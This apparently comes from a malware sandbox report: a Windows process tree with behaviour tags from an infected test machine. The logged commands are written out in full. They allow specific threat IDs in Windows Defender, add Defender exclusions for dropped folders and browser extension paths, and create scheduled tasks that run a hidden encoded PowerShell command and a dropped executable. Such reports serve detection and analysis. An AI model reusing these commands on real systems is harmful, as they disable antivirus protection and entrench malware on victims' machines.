                                        powershell "cmd /C REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"225451\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"225451\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"256596\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"256596\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"242872\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"242872\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147749373\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147749373\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147807942\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147807942\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147735735\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147735735\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737010\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737010\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737007\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737007\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737503\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737503\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147735503\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147735503\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147749376\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147749376\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737394\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737394\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147841147\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147841147\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"359386\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"359386\" /t REG_SZ /d 6 /reg:64;"
                                        2⤵
                                        • Drops file in System32 directory
                                        • System Location Discovery: System Language Discovery
                                        • Modifies data under HKEY_USERS
                                        • Suspicious behavior: EnumeratesProcesses
                                        • Suspicious use of AdjustPrivilegeToken
                                        PID:3372
                                        • C:\Windows\SysWOW64\cmd.exe
                                          "C:\Windows\system32\cmd.exe" /C REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 225451 /t REG_SZ /d 6 /reg:32
                                          3⤵
                                          • System Location Discovery: System Language Discovery
                                          PID:3832
                                          • C:\Windows\SysWOW64\reg.exe
                                            REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 225451 /t REG_SZ /d 6 /reg:32
                                            4⤵
                                            • System Location Discovery: System Language Discovery
                                            PID:368
                                        • C:\Windows\SysWOW64\reg.exe
                                          "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 225451 /t REG_SZ /d 6 /reg:64
                                          3⤵
                                            PID:552
                                          • C:\Windows\SysWOW64\reg.exe
                                            "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 256596 /t REG_SZ /d 6 /reg:32
                                            3⤵
                                              PID:3708
                                            • C:\Windows\SysWOW64\reg.exe
                                              "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 256596 /t REG_SZ /d 6 /reg:64
                                              3⤵
                                                PID:4260
                                              • C:\Windows\SysWOW64\reg.exe
                                                "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 242872 /t REG_SZ /d 6 /reg:32
                                                3⤵
                                                  PID:1248
                                                • C:\Windows\SysWOW64\reg.exe
                                                  "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 242872 /t REG_SZ /d 6 /reg:64
                                                  3⤵
                                                    PID:3956
                                                  • C:\Windows\SysWOW64\reg.exe
                                                    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147749373 /t REG_SZ /d 6 /reg:32
                                                    3⤵
                                                      PID:1668
                                                    • C:\Windows\SysWOW64\reg.exe
                                                      "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147749373 /t REG_SZ /d 6 /reg:64
                                                      3⤵
                                                        PID:1116
                                                      • C:\Windows\SysWOW64\reg.exe
                                                        "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147807942 /t REG_SZ /d 6 /reg:32
                                                        3⤵
                                                          PID:3844
                                                        • C:\Windows\SysWOW64\reg.exe
                                                          "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147807942 /t REG_SZ /d 6 /reg:64
                                                          3⤵
                                                            PID:2284
                                                          • C:\Windows\SysWOW64\reg.exe
                                                            "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735735 /t REG_SZ /d 6 /reg:32
                                                            3⤵
                                                              PID:2864
                                                            • C:\Windows\SysWOW64\reg.exe
                                                              "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735735 /t REG_SZ /d 6 /reg:64
                                                              3⤵
                                                                PID:4564
                                                              • C:\Windows\SysWOW64\reg.exe
                                                                "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737010 /t REG_SZ /d 6 /reg:32
                                                                3⤵
                                                                  PID:2636
                                                                • C:\Windows\SysWOW64\reg.exe
                                                                  "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737010 /t REG_SZ /d 6 /reg:64
                                                                  3⤵
                                                                  • System Location Discovery: System Language Discovery
                                                                  PID:1300
                                                                • C:\Windows\SysWOW64\reg.exe
                                                                  "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737007 /t REG_SZ /d 6 /reg:32
                                                                  3⤵
                                                                    PID:4996
                                                                  • C:\Windows\SysWOW64\reg.exe
                                                                    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737007 /t REG_SZ /d 6 /reg:64
                                                                    3⤵
                                                                      PID:540
                                                                    • C:\Windows\SysWOW64\reg.exe
                                                                      "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737503 /t REG_SZ /d 6 /reg:32
                                                                      3⤵
                                                                      • System Location Discovery: System Language Discovery
                                                                      PID:4804
                                                                    • C:\Windows\SysWOW64\reg.exe
                                                                      "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737503 /t REG_SZ /d 6 /reg:64
                                                                      3⤵
                                                                        PID:1864
                                                                      • C:\Windows\SysWOW64\reg.exe
                                                                        "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735503 /t REG_SZ /d 6 /reg:32
                                                                        3⤵
                                                                          PID:3052
                                                                        • C:\Windows\SysWOW64\reg.exe
                                                                          "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735503 /t REG_SZ /d 6 /reg:64
                                                                          3⤵
                                                                          • System Location Discovery: System Language Discovery
                                                                          PID:1396
                                                                        • C:\Windows\SysWOW64\reg.exe
                                                                          "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147749376 /t REG_SZ /d 6 /reg:32
                                                                          3⤵
                                                                            PID:872
                                                                          • C:\Windows\SysWOW64\reg.exe
                                                                            "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147749376 /t REG_SZ /d 6 /reg:64
                                                                            3⤵
                                                                              PID:2832
                                                                            • C:\Windows\SysWOW64\reg.exe
                                                                              "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737394 /t REG_SZ /d 6 /reg:32
                                                                              3⤵
                                                                              • System Location Discovery: System Language Discovery
                                                                              PID:956
                                                                            • C:\Windows\SysWOW64\reg.exe
                                                                              "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737394 /t REG_SZ /d 6 /reg:64
                                                                              3⤵
                                                                                PID:2536
                                                                              • C:\Windows\SysWOW64\reg.exe
                                                                                "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147841147 /t REG_SZ /d 6 /reg:32
                                                                                3⤵
                                                                                  PID:5060
                                                                                • C:\Windows\SysWOW64\reg.exe
                                                                                  "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147841147 /t REG_SZ /d 6 /reg:64
                                                                                  3⤵
                                                                                  • System Location Discovery: System Language Discovery
                                                                                  PID:2112
                                                                                • C:\Windows\SysWOW64\reg.exe
                                                                                  "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 359386 /t REG_SZ /d 6 /reg:32
                                                                                  3⤵
                                                                                  • System Location Discovery: System Language Discovery
                                                                                  PID:400
                                                                                • C:\Windows\SysWOW64\reg.exe
                                                                                  "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 359386 /t REG_SZ /d 6 /reg:64
                                                                                  3⤵
                                                                                  • System Location Discovery: System Language Discovery
                                                                                  PID:4912
                                                                              • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                                                                powershell "cmd /C REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\NOwjmDzSqxFU2\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\NOwjmDzSqxFU2\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\fTyVudztU\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\fTyVudztU\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\gQtLBgdbfBBhYeQnFBR\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\gQtLBgdbfBBhYeQnFBR\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\pyMhWKEXiSxKC\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\pyMhWKEXiSxKC\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\xjwGTpfevYUn\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\xjwGTpfevYUn\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\ProgramData\EtwxiooagRVzONVB\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\ProgramData\EtwxiooagRVzONVB\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Extensions\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Extensions\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Users\Admin\AppData\Local\Temp\WyxfzEWvEDzTdtVqZ\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Users\Admin\AppData\Local\Temp\WyxfzEWvEDzTdtVqZ\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Windows\Temp\sgXeQePAYlNIMypi\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Windows\Temp\sgXeQePAYlNIMypi\" /t REG_DWORD /d 0 /reg:64;"
                                                                                2⤵
                                                                                • Drops file in System32 directory
                                                                                • Modifies data under HKEY_USERS
                                                                                • Suspicious behavior: EnumeratesProcesses
                                                                                • Suspicious use of AdjustPrivilegeToken
                                                                                PID:3356
                                                                                • C:\Windows\SysWOW64\cmd.exe
                                                                                  "C:\Windows\system32\cmd.exe" /C REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\NOwjmDzSqxFU2" /t REG_DWORD /d 0 /reg:32
                                                                                  3⤵
                                                                                    PID:3448
                                                                                    • C:\Windows\SysWOW64\reg.exe
                                                                                      REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\NOwjmDzSqxFU2" /t REG_DWORD /d 0 /reg:32
                                                                                      4⤵
                                                                                        PID:4404
                                                                                    • C:\Windows\SysWOW64\reg.exe
                                                                                      "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\NOwjmDzSqxFU2" /t REG_DWORD /d 0 /reg:64
                                                                                      3⤵
                                                                                        PID:4060
                                                                                      • C:\Windows\SysWOW64\reg.exe
                                                                                        "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\fTyVudztU" /t REG_DWORD /d 0 /reg:32
                                                                                        3⤵
                                                                                        • System Location Discovery: System Language Discovery
                                                                                        PID:1256
                                                                                      • C:\Windows\SysWOW64\reg.exe
                                                                                        "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\fTyVudztU" /t REG_DWORD /d 0 /reg:64
                                                                                        3⤵
                                                                                        • System Location Discovery: System Language Discovery
                                                                                        PID:3828
                                                                                      • C:\Windows\SysWOW64\reg.exe
                                                                                        "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\gQtLBgdbfBBhYeQnFBR" /t REG_DWORD /d 0 /reg:32
                                                                                        3⤵
                                                                                          PID:1360
                                                                                        • C:\Windows\SysWOW64\reg.exe
                                                                                          "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\gQtLBgdbfBBhYeQnFBR" /t REG_DWORD /d 0 /reg:64
                                                                                          3⤵
                                                                                            PID:3816
                                                                                          • C:\Windows\SysWOW64\reg.exe
                                                                                            "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\pyMhWKEXiSxKC" /t REG_DWORD /d 0 /reg:32
                                                                                            3⤵
                                                                                              PID:2272
                                                                                            • C:\Windows\SysWOW64\reg.exe
                                                                                              "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\pyMhWKEXiSxKC" /t REG_DWORD /d 0 /reg:64
                                                                                              3⤵
                                                                                                PID:4756
                                                                                              • C:\Windows\SysWOW64\reg.exe
                                                                                                "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\xjwGTpfevYUn" /t REG_DWORD /d 0 /reg:32
                                                                                                3⤵
                                                                                                  PID:4720
                                                                                                • C:\Windows\SysWOW64\reg.exe
                                                                                                  "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\xjwGTpfevYUn" /t REG_DWORD /d 0 /reg:64
                                                                                                  3⤵
                                                                                                    PID:4568
                                                                                                  • C:\Windows\SysWOW64\reg.exe
                                                                                                    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v C:\ProgramData\EtwxiooagRVzONVB /t REG_DWORD /d 0 /reg:32
                                                                                                    3⤵
                                                                                                      PID:1196
                                                                                                    • C:\Windows\SysWOW64\reg.exe
                                                                                                      "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v C:\ProgramData\EtwxiooagRVzONVB /t REG_DWORD /d 0 /reg:64
                                                                                                      3⤵
                                                                                                        PID:5024
                                                                                                      • C:\Windows\SysWOW64\reg.exe
                                                                                                        "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions" /t REG_DWORD /d 0 /reg:32
                                                                                                        3⤵
                                                                                                          PID:1160
                                                                                                        • C:\Windows\SysWOW64\reg.exe
                                                                                                          "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions" /t REG_DWORD /d 0 /reg:64
                                                                                                          3⤵
                                                                                                            PID:4316
                                                                                                          • C:\Windows\SysWOW64\reg.exe
                                                                                                            "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Extensions" /t REG_DWORD /d 0 /reg:32
                                                                                                            3⤵
                                                                                                            • System Location Discovery: System Language Discovery
                                                                                                            PID:3256
                                                                                                          • C:\Windows\SysWOW64\reg.exe
                                                                                                            "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Extensions" /t REG_DWORD /d 0 /reg:64
                                                                                                            3⤵
                                                                                                              PID:4352
                                                                                                            • C:\Windows\SysWOW64\reg.exe
                                                                                                              "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v C:\Users\Admin\AppData\Local\Temp\WyxfzEWvEDzTdtVqZ /t REG_DWORD /d 0 /reg:32
                                                                                                              3⤵
                                                                                                                PID:3260
                                                                                                              • C:\Windows\SysWOW64\reg.exe
                                                                                                                "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v C:\Users\Admin\AppData\Local\Temp\WyxfzEWvEDzTdtVqZ /t REG_DWORD /d 0 /reg:64
                                                                                                                3⤵
                                                                                                                • System Location Discovery: System Language Discovery
                                                                                                                PID:368
                                                                                                              • C:\Windows\SysWOW64\reg.exe
                                                                                                                "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v C:\Windows\Temp\sgXeQePAYlNIMypi /t REG_DWORD /d 0 /reg:32
                                                                                                                3⤵
                                                                                                                • System Location Discovery: System Language Discovery
                                                                                                                PID:4576
                                                                                                              • C:\Windows\SysWOW64\reg.exe
                                                                                                                "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v C:\Windows\Temp\sgXeQePAYlNIMypi /t REG_DWORD /d 0 /reg:64
                                                                                                                3⤵
                                                                                                                  PID:1552
                                                                                                              • C:\Windows\SysWOW64\schtasks.exe
                                                                                                                schtasks /CREATE /TN "ggiooYjsf" /SC once /ST 04:12:18 /F /RU "Admin" /TR "powershell -WindowStyle Hidden -EncodedCommand cwB0AGEAcgB0AC0AcAByAG8AYwBlAHMAcwAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZABlAG4AIABnAHAAdQBwAGQAYQB0AGUALgBlAHgAZQAgAC8AZgBvAHIAYwBlAA=="
                                                                                                                2⤵
                                                                                                                • Scheduled Task/Job: Scheduled Task
                                                                                                                PID:4460
                                                                                                              • C:\Windows\SysWOW64\schtasks.exe
                                                                                                                schtasks /run /I /tn "ggiooYjsf"
                                                                                                                2⤵
                                                                                                                • System Location Discovery: System Language Discovery
                                                                                                                PID:3128
                                                                                                              • C:\Windows\SysWOW64\schtasks.exe
                                                                                                                schtasks /DELETE /F /TN "ggiooYjsf"
                                                                                                                2⤵
                                                                                                                  PID:2212
                                                                                                                • C:\Windows\SysWOW64\schtasks.exe
                                                                                                                  schtasks /CREATE /TN "EcRbblsIorAekDSdg" /SC once /ST 03:09:53 /RU "SYSTEM" /TR "\"C:\Windows\Temp\sgXeQePAYlNIMypi\AFLXlfyNLvuXnNY\bcgxQFI.exe\" A9 /gVjRdidyh 385107 /S" /V1 /F
                                                                                                                  2⤵
                                                                                                                  • Drops file in Windows directory
                                                                                                                  • Scheduled Task/Job: Scheduled Task
                                                                                                                  PID:3076
                                                                                                                • C:\Windows\SysWOW64\schtasks.exe
                                                                                                                  schtasks /run /I /tn "EcRbblsIorAekDSdg"
                                                                                                                  2⤵
                                                                                                                  • System Location Discovery: System Language Discovery
                                                                                                                  PID:4892
                                                                                                                • C:\Windows\SysWOW64\WerFault.exe
                                                                                                                  C:\Windows\SysWOW64\WerFault.exe -u -p 1048 -s 1048
                                                                                                                  2⤵
                                                                                                                  • Program crash
                                                                                                                  PID:4260
                                                                                                              • C:\Users\Admin\AppData\Local\Temp\44111dbc49\axplong.exe
                                                                                                                C:\Users\Admin\AppData\Local\Temp\44111dbc49\axplong.exe
                                                                                                                1⤵
                                                                                                                • Identifies VirtualBox via ACPI registry values (likely anti-VM)
                                                                                                                • Checks BIOS information in registry
                                                                                                                • Executes dropped EXE
                                                                                                                • Identifies Wine through registry keys
                                                                                                                • Suspicious use of NtSetInformationThreadHideFromDebugger
                                                                                                                • Suspicious behavior: EnumeratesProcesses
                                                                                                                PID:3508
                                                                                                              • C:\Users\Admin\AppData\Local\Temp\054fdc5f70\Hkbsse.exe
                                                                                                                C:\Users\Admin\AppData\Local\Temp\054fdc5f70\Hkbsse.exe
                                                                                                                1⤵
                                                                                                                • Executes dropped EXE
                                                                                                                PID:724
                                                                                                              • C:\Users\Admin\Pictures\Lighter Tech\runtime.exe
                                                                                                                "C:\Users\Admin\Pictures\Lighter Tech\runtime.exe"
                                                                                                                1⤵
                                                                                                                • Checks computer location settings
                                                                                                                • Executes dropped EXE
                                                                                                                • Adds Run key to start application
                                                                                                                • Suspicious use of SetThreadContext
                                                                                                                • Suspicious use of AdjustPrivilegeToken
                                                                                                                PID:4644
                                                                                                                • C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe
                                                                                                                  "C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe"
                                                                                                                  2⤵
                                                                                                                    PID:1528
                                                                                                                  • C:\Windows\System32\cmd.exe
                                                                                                                    "C:\Windows\System32\cmd.exe" /c copy "C:\Users\Admin\Pictures\Lighter Tech\runtime.exe" "C:\Users\Admin\Pictures\Lighter Tech\runtime.exe" && schtasks /Create /SC MINUTE /MO 1 /TN "runtime" /TR "C:\Users\Admin\Pictures\Lighter Tech\runtime.exe" /F
                                                                                                                    2⤵
                                                                                                                      PID:2060
                                                                                                                  • C:\Users\Admin\AppData\Local\Temp\service123.exe
                                                                                                                    C:\Users\Admin\AppData\Local\Temp\/service123.exe
                                                                                                                    1⤵
                                                                                                                    • Executes dropped EXE
                                                                                                                    • Loads dropped DLL
                                                                                                                    PID:4404
